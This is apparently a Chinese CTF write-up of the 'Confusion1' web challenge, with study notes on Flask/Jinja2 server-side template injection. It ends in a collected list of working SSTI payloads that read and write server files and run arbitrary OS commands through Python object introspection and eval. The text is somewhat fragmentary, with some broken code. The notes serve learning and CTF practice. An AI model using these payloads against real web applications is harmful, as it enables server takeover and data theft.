攻防世界 Confusion1
打开题目是这样
在题目描述中让我们不要使用扫描器,那我们就扫一下。
发现flag.sql
随即访问
一时没有找到什么身份伪造的办法,看看其他地方
在源代码中发现注释
访问这个地址
获得两个提示,先记录下来,访问上面的地址也访问不了,但是查看报错页面发现这个提示在报错页面同样有。
看了下wp
ssti漏洞
tplmap没弄出来,用了大佬的payload,TVTVTVTVTVTVT
从零学习flask模板注入 - FreeBuf网络安全行业门户
随即学习一下模板注入
ssti漏洞
基础
先看一段代码
from flask import flask
@app.route('/index/')
def hello_word():
return 'hello word'
route
装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问http://127.0.0.1:5000/index
的时候,flask会返回hello word。
渲染方法
flask的渲染方法有render_template和render_template_string两种。
render_template()是用来渲染一个指定的文件的。使用如下
return render_template('index.html')
render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。
使用方法如下
html = '<h1>This is index page</h1>'
return render_template_string(html)
命令执行漏洞
基础知识
在Jinja2模板引擎中,{{}}
是变量包裹标识符。{{}}
并不仅仅可以传递变量,还可以执行一些简单的表达式。
访问就可以看到flask中的全局变量和权限
文件包含
python的对象的继承来一步步实现文件读取和命令执行的
找到父类<type 'object'>
–>寻找子类–>找关于命令执行或者文件操作的模块。
几个魔术方法
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
__init__.func_globals.keys() 查看全局函数
.__init__.func_globals.values()[] 调用这个全局函数
__import__ 动态导入模块
['eval']('__import__(%22os%22).popen(%22ls%22).read())
导入模块然后读取文件
(29条消息) SSTI模板注入_0verWatch的博客-CSDN博客_模板注入
(29条消息) 攻防世界Web_python_template_injection_MIGENGKING的博客-CSDN博客
简单!
常见payload收集
//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object
//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()
//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。